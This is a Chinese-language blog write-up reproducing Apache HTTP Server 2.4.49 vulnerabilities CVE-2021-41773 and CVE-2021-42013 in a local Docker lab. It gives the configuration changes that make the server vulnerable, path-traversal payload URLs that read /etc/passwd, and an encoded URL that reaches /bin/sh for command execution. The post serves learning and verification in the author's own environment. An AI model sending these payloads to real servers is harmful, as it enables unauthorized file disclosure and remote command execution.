apache-CVE-2021-41773[42013]-本地验证

cve-2021-41773本地验证

上次在验证41773时,使用bash命令反弹shell不成功,vulfocus上提供的时在线靶场环境有时间限制,且无法看到后台日志,不知道时哪里出错了,于是决定从0到1开始,在本地搭建一个实验环境,看看是哪里出现了问题

搭建本地验证环境

docker 中直接拉取apache 2.4.49的镜像

docker pull httpd:2.4.49

docker images 查看镜像,如图
apache-CVE-2021-41773[42013]-本地验证_第1张图片
启动该镜像,运行apache,

 docker run -d -p 80:80  --name "apache_2.4.49" -it e91425f38618

在这里插入图片描述
apache docker 启动成功。在浏览器中访问,如图
apache-CVE-2021-41773[42013]-本地验证_第2张图片
docker环境下,默认的配置是不受该漏洞影响的,如图尝试“路径遍历”的POC,发现并没有成功

/cgi-bin/.%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
/icons/.%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd

apache-CVE-2021-41773[42013]-本地验证_第3张图片
apache-CVE-2021-41773[42013]-本地验证_第4张图片
路径穿越导致的任意文件读取漏洞,需要开启配置文件中的 Require all granted
apache-CVE-2021-41773[42013]-本地验证_第5张图片
将配置文件中的第50行,改为"Require all granted",然后重启 apachectl restart,再次使用以上POC访问如图:
apache-CVE-2021-41773[42013]-本地验证_第6张图片

验证远程代码执行CVE-42013

42013 需要在41773的基础上再开启cgi模块后,才能执行成功,如图,先开启CGI模块,去掉配置文件中的84和87行,经验证只需开启84行即可。
apache-CVE-2021-41773[42013]-本地验证_第7张图片

执行以下poc:

http://192.168.65.136/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

apache-CVE-2021-41773[42013]-本地验证_第8张图片
以上为CVE-2021-41773\42013的apache文件配置及本地验证。漏洞的详细成因可进一步参考【且听安全】以下文章:
CVE-2021-41773-Apache HTTP Server 路径穿越漏洞快速分析与复现 https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
CVE-2021-41773升华篇-Apache HTTP Server 路径穿越漏洞提升至RCE回显深入分析 https://mp.weixin.qq.com/s/mx7_wTnU7IWxzeG7e6faTQ

下一步 进一步研究 反弹shell失败的原因

你可能感兴趣的:(信息安全,apache,docker,linux,apache,RCE,远程命令执行)